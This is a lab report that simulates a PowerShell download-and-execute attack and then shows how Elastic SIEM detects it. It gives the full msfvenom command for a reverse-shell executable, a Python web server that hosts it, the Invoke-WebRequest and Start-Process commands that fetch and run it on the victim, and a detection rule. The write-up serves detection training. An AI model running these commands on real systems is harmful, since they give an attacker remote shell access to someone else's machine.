Lab Report Scenario 3: Suspicious File Download & Execution (T1105 + T1059.001)

Objective

Simulate suspicious activity involving:

- File download via PowerShell (Invoke-WebRequest)
- Execution of downloaded binary (Start-Process)
- Establish reverse shell using msfvenom payload
- Achieve access via psexec

Tools Used

- Kali Linux (Attacker)
- Windows 10 VM (Victim)
- PowerShell
- Metasploit (msfvenom)
- psexec
- Elastic SIEM (Detection/Monitoring)

📥 Step 1: Payload Creation with msfvenom

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o malware.exe
```

- Payload: windows/shell_reverse_tcp
- Listener IP: 192.168.1.7
- Port: 4444
- Output: malware.exe

Step 2: Host Web Server on Attacker Machine

```
sudo python3 -m http.server 80
```

- Hosted malware.exe for download by victim

Step 3: Execute on Victim via PowerShell

```
Invoke-WebRequest -Uri http://192.168.1.7/malware.exe -OutFile C:\Users\Public\Downloads\tool.exe
```

```
Start-Process "C:\Users\Public\Downloads\tool.exe"
```

Detection in Elastic SIEM

Detection focused on:

- powershell.exe command-line containing Invoke-WebRequest
- Monitoring child processes of PowerShell

- Correlating events with reverse shell or unusual outbound connections

Rule

process.name: "powershell.exe" AND

process.command_line: ("Invoke-WebRequest" OR "DownloadFile") AND

process.command_line: ("Start-Process" OR ".exe")

Conclusion

In this lab, we successfully simulated a common post-exploitation technique combining:

- **T1105** (Ingress Tool Transfer): Downloaded a malicious EXE via PowerShell (Invoke-WebRequest)
- **T1059.001** (PowerShell Execution): Executed the downloaded EXE with Start-Process
- **Shell Access** was achieved using a reverse shell payload generated by msfvenom and accessed via psexec.